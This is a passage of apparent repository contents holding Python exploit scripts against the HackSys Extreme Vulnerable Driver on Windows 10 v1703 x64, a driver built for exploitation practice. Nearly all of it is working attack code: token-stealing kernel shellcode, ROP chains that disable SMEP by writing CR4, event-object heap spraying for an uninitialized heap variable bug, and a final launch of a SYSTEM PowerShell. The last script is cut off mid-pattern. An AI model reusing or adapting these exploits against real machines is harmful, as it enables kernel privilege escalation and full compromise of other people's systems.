Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn'
171 |     
172 |     if not rop:
173 |         spray_data = pattern
174 |     else:
175 |         spray_data = 'A' * 7472 + rop + 'B' * (0x2000 - 7472 - len(rop))
176 |     
177 |     spray_buffer = alloc_buffer(spray_data)
178 |     
179 |     return spray_buffer
180 | 
181 | def resolve_api(dll_name, proc_name):
182 |     '''
183 |     resolve API
184 |     '''
185 |     windll.kernel32.LoadLibraryA.argtypes = [LPCSTR]
186 |     windll.kernel32.LoadLibraryA.restype = HANDLE
187 |     
188 |     windll.kernel32.GetProcAddress.argtypes = [HANDLE, LPCSTR]
189 |     windll.kernel32.GetProcAddress.restype = LPVOID
190 |     
191 |     hDll = windll.kernel32.LoadLibraryA(dll_name)
192 |     if not hDll:
193 |         print '[-] Failed to load library: %s' % dll_name
194 |         return None
195 |     else:
196 |         print '[+] DLL loaded: %s at 0x%016x' % (dll_name, hDll)
197 |         proc = windll.kernel32.GetProcAddress(hDll, proc_name)
198 |         return proc
199 | 
200 | def build_adhoc_code(buff, object):
201 |     '''
202 |     build ad-hoc code
203 |     '''
204 |     NtMapUserPhysicalPages = resolve_api('ntdll', 'NtMapUserPhysicalPages')
205 |     DeviceIoControl = resolve_api('kernel32', 'DeviceIoControl')
206 |     if not NtMapUserPhysicalPages or not DeviceIoControl:
207 |         return None
208 |     
209 |     print '[+] NtMapUserPhysicalPages = 0x%016x' % NtMapUserPhysicalPages
210 |     print '[+] DeviceIoControl = 0x%016x' % DeviceIoControl
211 |     
212 |     bytes_retn = c_int(0)
213 |     object_buffer = alloc_buffer(object)
214 |     code = ''
215 |     code += mov_r8(buff)
216 |     code += mov_rdx(0x400)
217 |     code += mov_rcx(0)
218 |     code += call_func(NtMapUserPhysicalPages)           # see http://j00ru.vexillium.org/?p=769
219 |     code += push_qword(0)
220 |     code += push_qword(addressof(bytes_retn))
221 |     code += push_qword(0)
222 |     code += push_qword(0)
223 |     code += mov_r9(16)
224 |     code += mov_r8(object_buffer)
225 |     code += mov_rdx(ioctl_TypeConfusion)
226 |     code += mov_rcx(hFile)
227 |     code += call_func(DeviceIoControl)                  # TypeConfusionIoctlHandler
228 |     code += add_rsp(0x20)                               # clear stack args
229 |     code += retn()
230 |     
231 |     code_buffer = alloc_buffer(code)
232 |     
233 |     return code_buffer
234 | 
235 | def open_device():
236 |     '''
237 |     (re)open vulnerable device
238 |     '''
239 |     global hFile
240 |     
241 |     if hFile > 0:
242 |         windll.kernel32.CloseHandle(hFile)
243 |     
244 |     hFile = windll.kernel32.CreateFileA(
245 |         device_name,
246 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
247 |         0x00000001,                                     # FILE_SHARE_READ
248 |         0,                                              # NULL
249 |         3,                                              # OPEN_EXISTING
250 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
251 |         0)                                              # NULL
252 |     
253 |     if hFile == -1:
254 |         print '[-] Failed to open device: %s' % device_name
255 |         return False
256 |     else:
257 |         print '[+] Device opened successfully: %s' % device_name
258 |         return True
259 | 
260 | def get_kernel_base():
261 |     '''
262 |     find base address of the kernel via EnumDeviceDrivers
263 |     '''
264 |     array = c_ulonglong * 0x400
265 |     addr = array()
266 |     
267 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
268 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
269 |     
270 |     res = windll.psapi.EnumDeviceDrivers(
271 |             cast(byref(addr), POINTER(LPVOID)),
272 |             sizeof(addr),
273 |             byref(c_ulong(0)))
274 |     if not res:
275 |         return None
276 |     
277 |     # Kernel is the first entry of the result
278 |     return addr[0]
279 | 
280 | def break_code():
281 |     import time
282 |     time.sleep(0.5)
283 |     windll.kernel32.DebugBreak()
284 | 
285 | if __name__ == '__main__':
286 |     if not open_device():
287 |         sys.exit(1)
288 |     
289 |     base_addr = get_kernel_base()
290 |     if not base_addr:
291 |         print '[-] Failed to obtain Kernel base'
292 |         sys.exit(1)
293 |     print '[+] Kernel base address: 0x%016x' % base_addr
294 |     
295 |     shellcode_addr = alloc_buffer(shellcode())
296 |     if not shellcode_addr:
297 |         print '[-] Failed to allocate shellcode'
298 |         sys.exit(1)
299 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
300 |     
301 |     ropchain = build_ropchain(base_addr, shellcode_addr)
302 |     spray_buffer = alloc_spray(ropchain)
303 |     
304 |     object = 'A' * 8 + \
305 |              struct.pack('<Q', base_addr + 0x21d754)    # add rsp, 0x98; ret;
306 |     code_buffer = build_adhoc_code(spray_buffer, object)
307 |     
308 |     print '[+] Ad-hoc code alloced at: 0x%016x' % code_buffer
309 |     
310 |     print '[+] Executing ad-hoc code'
311 |     
312 |     WINFUNCTYPE(None)(code_buffer)()
313 |     
314 |     # Got SYSTEM shell?
315 |     import os
316 |     os.system("powershell.exe")
317 |     
318 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/UninitializedHeapVariable_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 UninitializedHeapVariable exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_UninitializedHeapVariable = 0x222033
 12 | 
 13 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 14 | hFile = None
 15 | 
 16 | def pusha():
 17 |     '''
 18 |     alernative to pusha on x86
 19 |     '''
 20 |     # assembled with metasm
 21 |     code = ''
 22 |     code += '\x50'                                      # push rax
 23 |     code += '\x53'                                      # push rbx
 24 |     code += '\x51'                                      # push rcx
 25 |     
 26 |     return code
 27 | 
 28 | def popa():
 29 |     '''
 30 |     alternative to popa on x86
 31 |     '''
 32 |     # assembled with metasm
 33 |     code = ''
 34 |     code += '\x59'                                      # pop rcx
 35 |     code += '\x5b'                                      # pop rbx
 36 |     code += '\x58'                                      # pop rax
 37 |     
 38 |     return code
 39 | 
 40 | def shellcode():
 41 |     '''
 42 |     token stealing shellcode
 43 |     '''
 44 |     # assembled with metasm
 45 |     # steal token
 46 |     code = ''
 47 |     code += pusha()
 48 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
 49 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
 50 |     code += '\x48\x89\xc3'                              # mov rbx,rax
 51 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
 52 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
 53 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
 54 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
 55 |     code += '\x75\xe5'                                  # jnz $-0x19
 56 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
 57 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
 58 |     code += popa()
 59 |     # recover regs
 60 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
 61 |     code += '\x48\x8b\x58\x38'                          # mov rbx,[rax+0x38]        ; 0x38  = offset nt!_KTHREAD.StackBase
 62 |     code += '\x48\x81\xeb\x78\x08\x00\x00'              # sub rbx,0x878
 63 |     code += '\x48\x89\xdc'                              # mov rsp,rbx
 64 |     code += '\x4d\x31\xff'                              # xor r15,r15
 65 |     code += '\x4d\x31\xe4'                              # xor r12,r12
 66 |     code += '\x48\x31\xff'                              # xor rdi,rdi
 67 |     code += '\xc3'                                      # ret
 68 |     
 69 |     return code
 70 | 
 71 | def alloc_buffer(data):
 72 |     '''
 73 |     alloc buffer and copy data
 74 |     '''
 75 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
 76 |     windll.kernel32.VirtualAlloc.restype = LPVOID
 77 |     
 78 |     buffer = windll.kernel32.VirtualAlloc(
 79 |         0,
 80 |         len(data),
 81 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
 82 |         0x40)                                           # PAGE_EXECUTE_READWRITE
 83 |     
 84 |     memmove(buffer, data, len(data))
 85 |     
 86 |     return buffer
 87 | 
 88 | def build_ropchain(kernel_base, shellcode_addr):
 89 |     '''
 90 |     trampoline to shellcode
 91 |     '''
 92 |     mask0 = 0xf0f0f0f0f0f0f0f0
 93 |     mask1 = 0x0f0f0f0f0f0f0f0f
 94 |     
 95 |     chain = ''
 96 |     chain += struct.pack('<Q', kernel_base + 0x691e1d)  # mov rsp, r11; pop r15; pop r12; pop rdi; ret;
 97 |     chain += struct.pack('<Q', 0x4141414141414141)      # filler
 98 |     chain += struct.pack('<Q', kernel_base + 0x1684ef)  # pop rax; pop rcx; ret;
 99 |     chain += struct.pack('<Q', mask0 | 0x506f8)         # rax
100 |     chain += struct.pack('<Q', mask1 | 0x506f8)         # rcx
101 |     chain += struct.pack('<Q', kernel_base + 0x62ae6)   # and rcx, rax; movabs rax, 0xfffff68000000000; add rax, rcx; ret;
102 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
103 |     chain += struct.pack('<Q', kernel_base + 0x1684ef)  # pop rax; pop rcx; ret;
104 |     chain += struct.pack('<Q', mask0 | shellcode_addr)  # rax
105 |     chain += struct.pack('<Q', mask1 | shellcode_addr)  # rcx
106 |     chain += struct.pack('<Q', kernel_base + 0x1574a8)  # and rax, rcx; ret;
107 |     chain += struct.pack('<Q', kernel_base + 0x96b4f)   # jmp rax;
108 |     
109 |     return chain
110 | 
111 | def open_device():
112 |     '''
113 |     (re)open vulnerable device
114 |     '''
115 |     global hFile
116 |     
117 |     if hFile > 0:
118 |         windll.kernel32.CloseHandle(hFile)
119 |     
120 |     hFile = windll.kernel32.CreateFileA(
121 |         device_name,
122 |         0xC0000000,                                     # GENERIC_READ | GENERIC_WRITE
123 |         0x00000001,                                     # FILE_SHARE_READ
124 |         0,                                              # NULL
125 |         3,                                              # OPEN_EXISTING
126 |         0x80,                                           # FILE_ATTRIBUTE_NORMAL
127 |         0)                                              # NULL
128 |     
129 |     if hFile == -1:
130 |         print '[-] Failed to open device: %s' % device_name
131 |         return False
132 |     else:
133 |         print '[+] Device opened successfully: %s' % device_name
134 |         return True
135 | 
136 | def call_UninitializedHeapVariable():
137 |     '''
138 |     DeviceIoControl wrapper
139 |     '''
140 |     open_device()
141 |     bytes_retn = c_ulong(0)
142 |     
143 |     windll.kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, POINTER(DWORD), LPVOID]
144 |     windll.kernel32.DeviceIoControl.restype = BOOL
145 |     
146 |     windll.kernel32.DeviceIoControl(
147 |         hFile,
148 |         ioctl_UninitializedHeapVariable,
149 |         struct.pack('<L', 0xcafebabe),
150 |         4,
151 |         0,
152 |         0,
153 |         byref(bytes_retn),
154 |         0)
155 | 
156 | def create_event_object(name):
157 |     '''
158 |     CreateEventW wrapper
159 |     '''
160 |     name_buffer = create_string_buffer(name)
161 |     return windll.kernel32.CreateEventW(
162 |         0,
163 |         0,
164 |         0,
165 |         name_buffer)
166 | 
167 | def get_kernel_base():
168 |     '''
169 |     find base address of the kernel via EnumDeviceDrivers
170 |     '''
171 |     array = c_ulonglong * 0x400
172 |     addr = array()
173 |     
174 |     windll.psapi.EnumDeviceDrivers.argtypes = [POINTER(LPVOID), DWORD, POINTER(DWORD)]
175 |     windll.psapi.EnumDeviceDrivers.restype = BOOL
176 |     
177 |     res = windll.psapi.EnumDeviceDrivers(
178 |             cast(byref(addr), POINTER(LPVOID)),
179 |             sizeof(addr),
180 |             byref(c_ulong(0)))
181 |     if not res:
182 |         return None
183 |     
184 |     # Kernel is the first entry of the result
185 |     return addr[0]
186 | 
187 | def rand_str(n):
188 |     '''
189 |     generate random string
190 |     '''
191 |     import random
192 |     charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
193 |     res = []
194 |     for i in xrange(n):
195 |         res.append(random.choice(charset))
196 |     
197 |     return ''.join(res)
198 | 
199 | def break_code():
200 |     import time
201 |     time.sleep(0.5)
202 |     windll.kernel32.DebugBreak()
203 | 
204 | if __name__ == '__main__':
205 |     if not open_device():
206 |         sys.exit(1)
207 |     
208 |     base_addr = get_kernel_base()
209 |     if not base_addr:
210 |         print '[-] Failed to obtain Kernel base'
211 |         sys.exit(1)
212 |     print '[+] Kernel base address: 0x%016x' % base_addr
213 |     
214 |     shellcode_addr = alloc_buffer(shellcode())
215 |     if not shellcode_addr:
216 |         print '[-] Failed to allocate shellcode'
217 |         sys.exit(1)
218 |     print '[+] Shellcode allocated at 0x%016x' % shellcode_addr
219 |     
220 |     ropchain = build_ropchain(base_addr, shellcode_addr)
221 |     #print '[+] ropchain = %s' % ropchain.encode('hex')
222 |     
223 |     print '[+] Consuming Lookaside bucket'
224 |     objects = []
225 |     for i in xrange(0x100):
226 |         payload = 'A' * 8 + ropchain + rand_str(0xee - len(ropchain)) + '\x00' * 2
227 |         hObj = create_event_object(payload)
228 |         objects.append(hObj)
229 |     
230 |     print '[+] Freeing Lookaside bucket'
231 |     for h in objects:
232 |         windll.kernel32.CloseHandle(h)
233 |     
234 |     print '[+] Triggering reuse of dirty chunk'
235 |     
236 |     call_UninitializedHeapVariable()
237 |     
238 |     # Got SYSTEM shell?
239 |     import os
240 |     os.system("powershell.exe")
241 |     
242 | 


--------------------------------------------------------------------------------
/Windows 10 v1703 x64/UninitializedStackVariable_v1.20.py:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/python
  2 | #
  3 | # HEVD v1.20 UninitializedStackVariable exploit for Windows 10 v1703 x64 by @acru3l.
  4 | #
  5 | 
  6 | import sys
  7 | import struct
  8 | from ctypes import *
  9 | from ctypes.wintypes import *
 10 | 
 11 | ioctl_UninitializedStackVariable = 0x22202F
 12 | 
 13 | device_name = r'\\.\HackSysExtremeVulnerableDriver'
 14 | hFile = None
 15 | 
 16 | def pusha():
 17 |     '''
 18 |     alernative to pusha on x86
 19 |     '''
 20 |     # assembled with metasm
 21 |     code = ''
 22 |     code += '\x50'                                      # push rax
 23 |     code += '\x53'                                      # push rbx
 24 |     code += '\x51'                                      # push rcx
 25 |     
 26 |     return code
 27 | 
 28 | def popa():
 29 |     '''
 30 |     alternative to popa on x86
 31 |     '''
 32 |     # assembled with metasm
 33 |     code = ''
 34 |     code += '\x59'                                      # pop rcx
 35 |     code += '\x5b'                                      # pop rbx
 36 |     code += '\x58'                                      # pop rax
 37 |     
 38 |     return code
 39 | 
 40 | def mov_rcx(value):
 41 |     '''
 42 |     mov rcx,value
 43 |     '''
 44 |     code = '\x48\xb9' + struct.pack('<Q', value)
 45 |     return code
 46 | 
 47 | def mov_rdx(value):
 48 |     '''
 49 |     mov rdx,value
 50 |     '''
 51 |     code = '\x48\xba' + struct.pack('<Q', value)
 52 |     return code
 53 | 
 54 | def mov_r8(value):
 55 |     '''
 56 |     mov r8,value
 57 |     '''
 58 |     code = '\x49\xb8' + struct.pack('<Q', value)
 59 |     return code
 60 | 
 61 | def mov_r9(value):
 62 |     '''
 63 |     mov r9,value
 64 |     '''
 65 |     code = '\x49\xb9' + struct.pack('<Q', value)
 66 |     return code
 67 | 
 68 | def push_qword(value):
 69 |     '''
 70 |     mov rax,value; push rax
 71 |     '''
 72 |     code = ''
 73 |     code += '\x48\xb8' + struct.pack('<Q', value)
 74 |     code += '\x50'
 75 |     return code
 76 | 
 77 | def add_rsp(value):
 78 |     '''
 79 |     add rsp,value
 80 |     '''
 81 |     code = '\x48\x83\xc4' + chr(value)
 82 |     return code
 83 | 
 84 | def sub_rsp(value):
 85 |     '''
 86 |     sub rsp,value
 87 |     '''
 88 |     code = '\x48\x83\xec' + chr(value)
 89 |     return code
 90 | 
 91 | def call_func(addr):
 92 |     '''
 93 |     sub rsp,0x20; mov rax,addr; call rax; add rsp,0x20
 94 |     '''
 95 |     code = ''
 96 |     code += sub_rsp(0x20)                               # alloc shadow space
 97 |     code += '\x48\xb8' + struct.pack('<Q', addr)
 98 |     code += '\xff\xd0'
 99 |     code += add_rsp(0x20)                               # clear shadow space
100 |     return code
101 | 
102 | def retn():
103 |     '''
104 |     ret
105 |     '''
106 |     code = '\xc3'
107 |     return code
108 | 
109 | def shellcode():
110 |     '''
111 |     token stealing shellcode
112 |     '''
113 |     # assembled with metasm
114 |     # steal token
115 |     code = ''
116 |     code += pusha()
117 |     code += '\x65\x48\x8b\x04\x25\x88\x01\x00\x00'      # mov rax,[gs:0x188]        ; 0x188 = offset nt!_KPCR.PcrbData.CurrentThread
118 |     code += '\x48\x8b\x80\xb8\x00\x00\x00'              # mov rax,[rax+0xb8]        ; 0xB8  = offset nt!_KTHREAD.ApcState.Process
119 |     code += '\x48\x89\xc3'                              # mov rbx,rax
120 |     code += '\x48\x8b\x9b\xe8\x02\x00\x00'              # mov rbx,[rbx+0x2e8]       ; 0x2E8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink
121 |     code += '\x48\x81\xeb\xe8\x02\x00\x00'              # sub rbx,0x2e8
122 |     code += '\x48\x8b\x8b\xe0\x02\x00\x00'              # mov rcx,[rbx+0x2e0]       ; 0x2E0 = offset nt!_EPROCESS.UniqueProcessId
123 |     code += '\x48\x83\xf9\x04'                          # cmp rcx,4
124 |     code += '\x75\xe5'                                  # jnz $-0x19
125 |     code += '\x48\x8b\x8b\x58\x03\x00\x00'              # mov rcx,[rbx+0x358]       ; 0x358 = offset nt!_EPROCESS.Token
126 |     code += '\x48\x89\x88\x58\x03\x00\x00'              # mov [rax+0x358],rcx
127 |     code += popa()
128 |     code += '\x48\x83\xec\x58'                          # sub rsp,0x58
129 |     code += '\xc3'                                      # ret
130 |     
131 |     return code
132 | 
133 | def alloc_buffer(data):
134 |     '''
135 |     alloc buffer and copy data
136 |     '''
137 |     windll.kernel32.VirtualAlloc.argtypes = [LPVOID, c_size_t, DWORD, DWORD]
138 |     windll.kernel32.VirtualAlloc.restype = LPVOID
139 |     
140 |     buffer = windll.kernel32.VirtualAlloc(
141 |         0,
142 |         len(data),
143 |         0x00003000,                                     # MEM_COMMIT | MEM_RESERVE
144 |         0x40)                                           # PAGE_EXECUTE_READWRITE
145 |     
146 |     memmove(buffer, data, len(data))
147 |     
148 |     return buffer
149 | 
150 | def build_ropchain(kernel_base, shellcode_addr):
151 |     '''
152 |     trampoline to shellcode
153 |     '''
154 |     chain = ''
155 |     chain += struct.pack('<Q', kernel_base + 0x203018)  # add rsp, 0x38; ret;
156 |     chain += struct.pack('<Q', kernel_base + 0x597b)    # pop rcx; ret;
157 |     chain += struct.pack('<Q', 0x506f8)                 # rcx
158 |     chain += struct.pack('<Q', kernel_base + 0x108552)  # mov cr4, rcx; ret;
159 |     chain += struct.pack('<Q', shellcode_addr)
160 |     
161 |     return chain
162 | 
163 | def alloc_spray(rop):
164 |     '''
165 |     allocate data to spray
166 |     '''
167 |     pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0D